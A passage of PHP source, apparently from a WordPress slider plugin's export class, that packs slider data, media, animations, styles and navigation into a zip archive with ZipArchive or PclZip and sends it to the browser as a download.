$this->zip->addFile($upload_dir.$checkpath, $add_checkpath);
}else{
$this->pclzip->add($upload_dir.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path);
}
$remove = true;
}elseif(is_file($upload_dir_multi.$checkpath)){
if(!$this->usepcl){
$this->zip->addFile($upload_dir_multi.$checkpath, $add_checkpath);
}else{
$this->pclzip->add($upload_dir_multi.$checkpath, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path);
}
$remove = true;
}
if($remove){ //as its http, remove this from strexport
/*
* fixes an issue where external urls were not getting processed
*/
try {
$unescaped = json_encode(json_decode($this->export_data), JSON_UNESCAPED_SLASHES); // only available from php 5.4
}
catch(Exception $e) {
$unescaped = $this->export_data;
}
$this->export_data = str_replace(array($cont_url . '/' . $checkpath, $cont_url_no_www . '/' . $checkpath), $checkpath, $unescaped);
// $this->export_data = str_replace(array($cont_url.$checkpath, $cont_url_no_www.$checkpath), $checkpath, $this->export_data);
}
}else{
if(is_file($upload_dir.$file)){
if(!$this->usepcl){
$this->zip->addFile($upload_dir.$file, $add_structure);
}else{
$this->pclzip->add($upload_dir.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir, PCLZIP_OPT_ADD_PATH, $add_path);
}
}elseif(is_file($upload_dir_multi.$file)){
if(!$this->usepcl){
$this->zip->addFile($upload_dir_multi.$file, $add_structure);
}else{
$this->pclzip->add($upload_dir_multi.$file, PCLZIP_OPT_REMOVE_PATH, $upload_dir_multi, PCLZIP_OPT_ADD_PATH, $add_path);
}
}
}
}
}
}
/**
* push the slider, slides and layer data to the zip
**/
public function add_slider_export_to_zip($filename = 'slider_export.txt'){
if(!$this->usepcl){
$this->zip->addFromString($filename, $this->export_data);
}else{
$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => $filename, PCLZIP_ATT_FILE_CONTENT => $this->export_data)));
if($list == 0){
die("ERROR : '".$this->pclzip->errorInfo(true)."'");
}
}
}
/**
* push the custom animations to the zip
**/
public function add_animations_to_zip(){
if(strlen(trim($this->animations_data)) > 0){
if(!$this->usepcl){
$this->zip->addFromString('custom_animations.txt', $this->animations_data); //add custom animations
}else{
$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'custom_animations.txt', PCLZIP_ATT_FILE_CONTENT => $this->animations_data)));
if($list == 0){
die("ERROR : '".$this->pclzip->errorInfo(true)."'");
}
}
}
}
/**
* push the custom css styles to the zip
**/
public function add_styles_to_zip(){
if(strlen(trim($this->style_data)) > 0){
if(!$this->usepcl){
$this->zip->addFromString('styles.txt', $this->style_data);
}else{
$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'styles.txt', PCLZIP_ATT_FILE_CONTENT => $this->style_data)));
if($list == 0){
die("ERROR : '".$this->pclzip->errorInfo(true)."'");
}
}
}
}
/**
* push the custom navigations to the zip
**/
public function add_navigation_to_zip(){
if(strlen(trim($this->navigation_data)) > 0){
if(!$this->usepcl){
$this->zip->addFromString('navigation.txt', $this->navigation_data);
}else{
$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'navigation.txt', PCLZIP_ATT_FILE_CONTENT => $this->navigation_data)));
if($list == 0){
die("ERROR : '".$this->pclzip->errorInfo(true)."'");
}
}
}
}
/**
* push the static styles to the zip
**/
public function add_static_styles_to_zip(){
$static_css = $this->get_static_css();
if(trim($static_css) !== ''){
if(!$this->usepcl){
$this->zip->addFromString("static-captions.css", $static_css); //add slider settings
}else{
$list = $this->pclzip->add(array(array( PCLZIP_ATT_FILE_NAME => 'static-captions.css',PCLZIP_ATT_FILE_CONTENT => $static_css)));
if ($list == 0) { die("ERROR : '".$this->pclzip->errorInfo(true)."'"); }
}
}
}
/**
* push the info.cfg to the zip
* allow for slider packs the automatic creation of the info.cfg
**/
public function add_info_to_zip(){
if(apply_filters('revslider_slider_pack_export', false)){
if(!$this->usepcl){
$this->zip->addFromString('info.cfg', md5($this->alias)); //add slider settings
}else{
$list = $this->pclzip->add(array(array(PCLZIP_ATT_FILE_NAME => 'info.cfg', PCLZIP_ATT_FILE_CONTENT => md5($this->alias))));
if($list == 0){
die("ERROR : '".$this->pclzip->errorInfo(true)."'");
}
}
}
}
/**
* close the zip if we are not in pcl
**/
public function close_export_zip(){
if(!$this->usepcl){
$this->zip->close();
}
}
/**
* send the zip to the client browser
**/
public function push_zip_to_client(){
$exportname = (!empty($this->slider_alias)) ? $this->slider_alias.'.zip' : 'slider_export.zip';
header('Content-type: application/zip');
header('Content-Disposition: attachment; filename='.$exportname);
header('Pragma: no-cache');
header('Expires: 0');
readfile($this->export_path_zip);
}
/**
* delete the export zip file, ignoring errors
**/
public function delete_export_zip(){
@unlink($this->export_path_zip);
}
/**
* Export a Zip with video, thumbnail and layergroup for import
* @dev function
**/
public function export_layer_group($videoid, $thumbid, $layers){
$this->create_export_zip();
$this->slider_alias = 'layergroup';
$this->used_images[$this->get_url_attachment_image($thumbid)] = true;
$this->used_videos[$this->get_url_attachment_image($videoid)] = true;
$this->add_images_videos_to_zip(true);
$this->export_data = stripslashes($layers);
$this->add_slider_export_to_zip('layers.txt');
$this->close_export_zip();
return $this->export_url_zip;
}
}